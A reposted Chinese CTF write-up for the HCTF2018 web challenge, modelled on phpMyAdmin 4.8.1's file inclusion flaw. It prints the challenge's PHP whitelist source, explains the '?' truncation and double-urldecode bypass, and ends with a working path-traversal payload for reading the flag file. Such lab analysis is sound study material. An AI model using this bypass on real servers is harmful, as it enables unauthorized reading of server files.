打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
HCTF2018

这个题目原型是phpmyadmin4.8.1的任意文件包含漏洞

 点击hint进入,得到提示flag在ffffllllaaaagggg中,并发现URL格式为XXX/index.php?file=hint.php,顺势猜一下file=source.php有没有结果。得到如下

  1. <?php
  2. class emmm
  3. {
  4. public static function checkFile(&$page)
  5. {
  6. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  7. if (! isset($page) || !is_string($page)) {
  8. echo "you can't see it";
  9. return false;
  10. }
  11. if (in_array($page, $whitelist)) {
  12. return true;
  13. }
  14. $_page = mb_substr(
  15. $page,
  16. 0,
  17. mb_strpos($page . '?', '?')
  18. );
  19. if (in_array($_page, $whitelist)) {
  20. return true;
  21. }
  22. $_page = urldecode($page);
  23. $_page = mb_substr(
  24. $_page,
  25. 0,
  26. mb_strpos($_page . '?', '?')
  27. );
  28. if (in_array($_page, $whitelist)) {
  29. return true;
  30. }
  31. echo "you can't see it";
  32. return false;
  33. }
  34. }
  35. if (! empty($_REQUEST['file'])
  36. && is_string($_REQUEST['file'])
  37. && emmm::checkFile($_REQUEST['file'])
  38. ) {
  39. include $_REQUEST['file'];
  40. exit;
  41. } else {
  42. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  43. }
  44. ?>

开头部分要求设定了$page,且$page的内容要在whiteList里。

mb_substr($page,0,mb_strpos($page,'?','?'))表示以?分割然后取出前面的字符串再判断值是否存在于whilelist中。

接着对$page进行一次URLdecode之后,再判断一次。

最后当以下三个条件同时为真时,包含file

1.$_request['file']不为空

2.$_request['file']是字符串

3.上面定义的checkfile方法返回值为真

最终payload:file=source.php%253f/../../../../../ffffllllaaaagggg

 

 

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
解决Discuz3.2 出现“您当前的访问请求当中含有非法字符“方法
简单的PHPCMS V9自定义栏目伪静态实现方法
【Redis26】Redis进阶:RESP协议-使用PHP手撸一个客户端
PHP类GBK编码内的简繁体转换
PHP 部分语法(一)
php函数strpos();实现简单的自动回复
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服